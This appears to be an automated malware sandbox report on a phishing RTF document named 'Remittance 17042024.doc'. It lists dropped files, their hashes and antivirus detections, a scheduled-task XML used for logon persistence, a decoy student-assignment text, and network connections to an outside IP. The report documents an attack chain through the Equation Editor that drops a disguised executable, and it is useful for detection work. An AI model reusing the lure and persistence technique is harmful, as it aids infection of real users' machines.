Preview:	0.5.2.1.2.8.0.3.D.o.c.u.m.e.n.t. .c.r.e.a.t.e.d. .i.n. .e.a.r.l.i.e.r. .v.e.r.s.i.o.n. .m.i.c.r.o.s.o.f.t. .o.f.f.i.c.e. .w.o.r.d...T.o. .v.i.e.w. .o.r. .e.d.i.t. .t.h.i.s. .d.o.c.u.m.e.n.t.,. .p.l.e.a.s.e. .c.l.i.c.k. .(.".E.n.a.b.l.e. .e.d.i.t.i.n.g.".). .f.r.o.m. .t.h.e. .y.e.l.l.o.w. .b.a.r. .a.b.o.v.e.A.S.S.I.G.N.M.E.N.T.M.C.S. .4.7.3.:. .M.A.R.K.E.T.I.N.G. .M.A.N.A.G.E.M.E.N.T. .&. .S.T.R.A.T.E.G.Y.S.T.U.D.E.N.T. .N.A.M.E.:. .F.r.a.n.k. .H.u.t.t.o.n.S.T.U.D.E.N.T. .N.o.:. .2.0.7.2.4.4.1.4.I.N.D.E.X. .N.o.:. .5.0.5.6.1.2.0.C.E.N.T.R.E.:. .G.R.E.E.N.F.I.E.L.D.S.1... .i... .G.u.e.r.i.l.l.a. .m.a.r.k.e.t.i.n.g. .s.t.r.a.t.e.g.y. .r.e.f.e.r.s. .t.o. .a. .s.u.r.p.r.i.s.i.n.g. .a.d.v.e.r.t.i.s.i.n.g. .s.t.r.a.t.e.g.y. .a.n.d. .w.i.t.h. .u.n.c.o.n.v.e.n.t.i.o.n.a.l. .i.n.t.e.r.a.c.t.i.o.n.s. .t.o. .p.r.o.m.o.t.e. .t.h.e. .p.r.o.d.u.c.t.s. .a.n.d. .s.e.r.v.i.c.e.s... .G.u.e.r.i.l.l.a. .m.a.r.k.e.t.i.n.g. .s.t.r.a.t.e.g.y. .i.s. .p.u.b.l.i.c.i.t.y. .p.r.a.c.t.i.c.e.s.,. .l.o.w.-.c.o.s.t. .

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{DBF5DE36-20E6-4ABC-A935-FF242E1062DB}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	1536
Entropy (8bit):	1.357318797251612
Encrypted:	false
SSDEEP:	3:Iiiiiiiiiif3l/Hlnl/bl//l/bllBl/PvvvvvvvvvvFl/l/lAqsalHl3lldHzlbX:IiiiiiiiiifdLloZQc8++lsJe1Mzel
MD5:	007C7383E92E5E832C5006329354E536
SHA1:	AA82166C41540AF54FF32A08FCE85D3BA7445C92
SHA-256:	73394EE9E05FB8B6B9783CB527256D1545CF6460068E16E8A3E4841DADAE118E
SHA-512:	DF048BAAB6FA1B8EC9240486447FAB3CAF38A65D52AEB9DFB9DBC1FEE4A56A9E565560E5AE7B323DAF630B234F4FFFE310A13A5250BBE9DD48E87F139E622FD8
Malicious:	false
Preview:	..(...(...(...(...(...(...(...(...(...(...(...A.l.b.u.s...A........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................."...&...*.......:...>...............................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{FE2D0FDB-7F0A-4F00-BC04-18F54428C4C8}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	1024
Entropy (8bit):	0.05390218305374581
Encrypted:	false
SSDEEP:	3:ol3lYdn:4Wn
MD5:	5D4D94EE7E06BBB0AF9584119797B23A
SHA1:	DBB111419C704F116EFA8E72471DD83E86E49677
SHA-256:	4826C0D860AF884D3343CA6460B0006A7A2CE7DBCCC4D743208585D997CC5FD1
SHA-512:	95F83AE84CAFCCED5EAF504546725C34D5F9710E5CA2D11761486970F2FBECCB25F9CF50BBFC272BD75E1A66A18B7783F09E1C1454AFDA519624BC2BB2F28BA4
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\2e5ld3mp.01s.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\cbort3bz.v4p.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\kq40lqt5.aq3.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\mrczgnzh.lig.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\nwrfmadv.nij.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\rstwkshw.nod.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\setomjxh.wux.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\tmp871B.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\dzoihohj75439.scr
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	1573
Entropy (8bit):	5.103407778758209
Encrypted:	false
SSDEEP:	24:2di4+S2qhZ1ty1mCUnrKMhEMOFGpwOzNgU3ODOiIQRvh7hwrgXuNt4xvn:cgeZQYrFdOFzOzN33ODOiDdKrsuTYv
MD5:	7891DD07F858CC93F342FFECC2A15D15
SHA1:	DFDF83865EF4070ED765FBD33CFAA33A1D1F905E
SHA-256:	0309019F70AA5FFB9A9E78426FA5485ED7ACB30F118E10F311D9A94BAB45ABD0
SHA-512:	509298F8D8AF6D88D56045F2CA835C4131D1BA2324CDD167539162972D297559E52ED6AC4C3EE4E187D36C06E164434FD2396EF498C57A89F2D288B512800613
Malicious:	true
Preview:	<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2014-10-25T14:27:44.8929027</Date>. <Author>user-PC\user</Author>. </RegistrationInfo>. <Triggers>. <LogonTrigger>. <Enabled>true</Enabled>. <UserId>user-PC\user</UserId>. </LogonTrigger>. <RegistrationTrigger>. <Enabled>false</Enabled>. </RegistrationTrigger>. </Triggers>. <Principals>. <Principal id="Author">. <UserId>user-PC\user</UserId>. <LogonType>InteractiveToken</LogonType>. <RunLevel>LeastPrivilege</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>. <AllowHardTerminate>false</AllowHardTerminate>. <StartWhenAvailable>true</StartWhenAvailable>. <RunOnlyIfNetworkAvail

C:\Users\user\AppData\Local\Temp\tmp9A3D.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\egFUHsL.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	1573
Entropy (8bit):	5.103407778758209
Encrypted:	false
SSDEEP:	24:2di4+S2qhZ1ty1mCUnrKMhEMOFGpwOzNgU3ODOiIQRvh7hwrgXuNt4xvn:cgeZQYrFdOFzOzN33ODOiDdKrsuTYv
MD5:	7891DD07F858CC93F342FFECC2A15D15
SHA1:	DFDF83865EF4070ED765FBD33CFAA33A1D1F905E
SHA-256:	0309019F70AA5FFB9A9E78426FA5485ED7ACB30F118E10F311D9A94BAB45ABD0
SHA-512:	509298F8D8AF6D88D56045F2CA835C4131D1BA2324CDD167539162972D297559E52ED6AC4C3EE4E187D36C06E164434FD2396EF498C57A89F2D288B512800613
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2014-10-25T14:27:44.8929027</Date>. <Author>user-PC\user</Author>. </RegistrationInfo>. <Triggers>. <LogonTrigger>. <Enabled>true</Enabled>. <UserId>user-PC\user</UserId>. </LogonTrigger>. <RegistrationTrigger>. <Enabled>false</Enabled>. </RegistrationTrigger>. </Triggers>. <Principals>. <Principal id="Author">. <UserId>user-PC\user</UserId>. <LogonType>InteractiveToken</LogonType>. <RunLevel>LeastPrivilege</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>. <AllowHardTerminate>false</AllowHardTerminate>. <StartWhenAvailable>true</StartWhenAvailable>. <RunOnlyIfNetworkAvail

C:\Users\user\AppData\Local\Temp\wxypf1oa.alk.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Remittance 17042024.LNK

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Fri Aug 11 15:42:04 2023, mtime=Fri Aug 11 15:42:04 2023, atime=Thu Apr 18 07:23:49 2024, length=282583, window=hide
Category:	dropped
Size (bytes):	1059
Entropy (8bit):	4.5559743661939835
Encrypted:	false
SSDEEP:	12:8/o72jgXg/XAlCPCHaX5B0B/Dr8xX+WNlNY3Of3+GRTjuicvbGtIvoi3+GR5DtZs:83/XTpKxOnla30v3NeaI7v5Dv3qKa7f
MD5:	EB67002659AD1A7239F50E16C381F261
SHA1:	A09A602F4ED10D18BBD9A60A1A7A4BE2E0717DB8
SHA-256:	80827D5D6EB6BA2380113CC50E998AFA8E34AB42BA95EE1CA973419030A029ED
SHA-512:	8AAD84706B5E655F7EDADA6FD28E61FC33A1B861D7D0E3CD5CD50F267FF4D7FAC13B5CDEBCC611F53529965A2D14A1B77CF6D98721817B8CB4D12B23D972712B
Malicious:	false
Preview:	L..................F.... ...e...r...e...r.....\|.i....O...........................P.O. .:i.....+00.../C:\...................t.1.....QK.X..Users.`.......:..QK.X...................6.....U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....L.1......X.B..user.8......QK.X.X.B...&=....U...............A.l.b.u.s.....z.1......WD...Desktop.d......QK.X.WD...._=..............:.....D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.....x.2..O...X.B .REMITT~1.DOC..\.......WC..WC..........................R.e.m.i.t.t.a.n.c.e. .1.7.0.4.2.0.2.4...d.o.c.......................-...8...[............?J......C:\Users\..#...................\\216041\Users.user\Desktop\Remittance 17042024.doc.......\.....\.....\.....\.....\.D.e.s.k.t.o.p.\.R.e.m.i.t.t.a.n.c.e. .1.7.0.4.2.0.2.4...d.o.c.........:..,.LB.)...Ag...............1SPS.XF.L8C....&.m.m............-...S.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6.............`.......X.......216041..........D_....3N.

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	Generic INItialization configuration [folders]
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.699448571151656
Encrypted:	false
SSDEEP:	3:M19MyXuSptFXVom4WyXuSptFXVov:MrMquSp9pquSp9y
MD5:	6A97B0D4A2A4A5EA3201F7B95320F20F
SHA1:	0042FF22429600F4F10E1B0C13514043A00CD686
SHA-256:	4D3A7A7D885127F1EE57C57D33D6F89367524112F4E5635CBB559CE5B7FB165E
SHA-512:	311842DD7CC6CD658B75451CA2220FDF950FFEA51081952FBD8E8D554D2B2EF073F2C86A10C8C8D7937D083EAD63808F1FF101C8F04A266B2BDB1202DE87E357
Malicious:	false
Preview:	[doc]..Remittance 17042024.LNK=0..[folders]..Remittance 17042024.LNK=0..

C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	162
Entropy (8bit):	2.503835550707526
Encrypted:	false
SSDEEP:	3:vrJlaCkWtVyaKoKbi/YYbVWNK5rAGllln:vdsCkWtzKXbigYIK++l
MD5:	01DADEB867D8CD283A1F21D4FDF11903
SHA1:	88993BBAA2E620D6F18682B37BCEF27BD0AE3DB4
SHA-256:	0468E3450BF6A972B9E023034768227DC07C1FFD07C5F612FBBA187794658EE0
SHA-512:	344243CF8AC932C4988ECB175E8ACB3A65A0092EB15CD8982925A44F75AEDF33A458C67F597F1F6D89A5F426E649F139A36D1BF31191CE54A581671EE761223F
Malicious:	false
Preview:	.user..................................................A.l.b.u.s.............p........1...............2..............@3...............3......z.......p4......x...

C:\Users\user\AppData\Roaming\dzoihohj75439.scr

Download File

Process:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	722440
Entropy (8bit):	7.916807713584016
Encrypted:	false
SSDEEP:	12288:5rOrr4PrrF4LtCVp0Vk1zlFrhHn6SvUyma5+2wqxsKoLlD5fRXj+9Y/6wuz/CkR:pDimlFrhH6IUzBqxdEtRXa9Y/huz/x
MD5:	60E4F25FA64A0EF31AC57663A26DA790
SHA1:	26126C700F70DE2E42A173214B52FE6A38C93BB8
SHA-256:	F2664BDFD035D146843F1575528EB9694A98B32F99488058A0E04885AD62E9C2
SHA-512:	31D2C6284375E7A089216FBA4EC7DC424ACE8FB5AE5D5EE620974831C73386D9F360CBC06CBE696579B27EA442A8141A1DFEC502AA7CDE1D623F74D2F5BD2BDF
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 71% Antivirus: Virustotal, Detection: 63%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...t..f................................. ........@.. ....................... ............@.....................................S........................6........................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......HS..P............................................................0..A....... .........%.[...(.....\... \|........%.k...(.....l...(.........&...B... ....(..........0..............,.".".#..(....+.....0...............".".#. ....(....+......0...............".".#...(....+.....0...................... ....(....+.....0..+.....................(P...+....s....}......j}......0............{......*...0..Q..........E........ ... .......+.............{.....(h.......,...+..+...

C:\Users\user\AppData\Roaming\egFUHsL.exe

Download File

Process:	C:\Users\user\AppData\Roaming\dzoihohj75439.scr
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	722440
Entropy (8bit):	7.916807713584016
Encrypted:	false
SSDEEP:	12288:5rOrr4PrrF4LtCVp0Vk1zlFrhHn6SvUyma5+2wqxsKoLlD5fRXj+9Y/6wuz/CkR:pDimlFrhH6IUzBqxdEtRXa9Y/huz/x
MD5:	60E4F25FA64A0EF31AC57663A26DA790
SHA1:	26126C700F70DE2E42A173214B52FE6A38C93BB8
SHA-256:	F2664BDFD035D146843F1575528EB9694A98B32F99488058A0E04885AD62E9C2
SHA-512:	31D2C6284375E7A089216FBA4EC7DC424ACE8FB5AE5D5EE620974831C73386D9F360CBC06CBE696579B27EA442A8141A1DFEC502AA7CDE1D623F74D2F5BD2BDF
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 71% Antivirus: Virustotal, Detection: 63%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...t..f................................. ........@.. ....................... ............@.....................................S........................6........................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......HS..P............................................................0..A....... .........%.[...(.....\... \|........%.k...(.....l...(.........&...B... ....(..........0..............,.".".#..(....+.....0...............".".#. ....(....+......0...............".".#...(....+.....0...................... ....(....+.....0..+.....................(P...+....s....}......j}......0............{......*...0..Q..........E........ ... .......+.............{.....(h.......,...+..+...

C:\Users\user\Desktop\~$mittance 17042024.doc

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	162
Entropy (8bit):	2.503835550707526
Encrypted:	false
SSDEEP:	3:vrJlaCkWtVyaKoKbi/YYbVWNK5rAGllln:vdsCkWtzKXbigYIK++l
MD5:	01DADEB867D8CD283A1F21D4FDF11903
SHA1:	88993BBAA2E620D6F18682B37BCEF27BD0AE3DB4
SHA-256:	0468E3450BF6A972B9E023034768227DC07C1FFD07C5F612FBBA187794658EE0
SHA-512:	344243CF8AC932C4988ECB175E8ACB3A65A0092EB15CD8982925A44F75AEDF33A458C67F597F1F6D89A5F426E649F139A36D1BF31191CE54A581671EE761223F
Malicious:	false
Preview:	.user..................................................A.l.b.u.s.............p........1...............2..............@3...............3......z.......p4......x...

Static File Info

General

File type:	Rich Text Format data, version 1
Entropy (8bit):	4.206312169012919
TrID:	Rich Text Format (5005/1) 55.56% Rich Text Format (4004/1) 44.44%
File name:	Remittance 17042024.doc
File size:	282'583 bytes
MD5:	3a70ce88c392ad13548a5337379ec365
SHA1:	759142b5f93e6b7821c9eb30639448fc2fd13cd4
SHA256:	45d5436e268ed053f251044846ac8f0c5c09015cc87c4ccbdc86c4efbad9e570
SHA512:	bb74bce3b6e378864449774e2e7aa8df9b869204a4a0efdc4f405f772cbcc1108feee2e337fa5f66da31e68f62f4ce13f431c3d9179da998e14471d59c0f4ed7
SSDEEP:	3072:jsXvKMEesXvKMEesXvKMEesXvKMEesXvKMEesXvKMEIFp+pk:EKMeKMeKMeKMeKMeKM7F8k
TLSH:	10547C2ED35E02698F520273AB1B1E94A6BEBB3EB39051B1341C433433D9C7D52266BD
File Content Preview:	{\rtf1..{\*\LiWYajVnbq2vF0Usac4BsOtUvdPVRc3zxM77nXv2GfAjHcY24Hm4BVXhpK2PGSYRhsN0Dusz3K0eAuppw0V8EdLgdaHmyvP56g1utlcnVGKNwmbNkD223hacsnsGawu5g9tSr1QdAqvXd88rzJAPfbYd}..{\105212803Document created in earlier version microsoft office word.To view or edit thi

File Icon


Icon Hash:	2764a3aaaeb7bdbf

Static RTF Info

Objects

Id	Start	Format ID	Format	Classname	Datasize	Filename	Sourcepath	Temppath	Exploit
0	0001FAA3h								no

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 18, 2024 10:23:54.360595942 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:54.360678911 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:54.360763073 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:54.381042004 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:54.381073952 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:54.609918118 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:54.610080957 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:54.617463112 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:54.617485046 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:54.617836952 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:54.617980003 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:54.693471909 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:54.736141920 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.108407021 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.108500004 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.108530998 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.108577967 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.108587027 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.108628035 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.108669043 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.108731031 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.108781099 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.108849049 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.108895063 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.109090090 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.109100103 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.109128952 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.109149933 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.109175920 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.109239101 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.109297991 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.109325886 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.109379053 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.113404036 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.230571032 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.230766058 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.230799913 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.230860949 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.230869055 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.230912924 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.230951071 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.231008053 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.231071949 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.231122971 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.231184006 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.231283903 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.231317043 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.231370926 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.231432915 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.231509924 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.231566906 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.231621027 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.231695890 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.231745005 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.231807947 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.231858969 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.231956005 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.232014894 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.232136965 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.232194901 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.232320070 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.232378960 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.232434034 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.232494116 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.232546091 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.232608080 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.232659101 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.232712984 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.232763052 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.232820988 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.232872963 CEST	443	49161	104.21.83.128	192.168.2.22
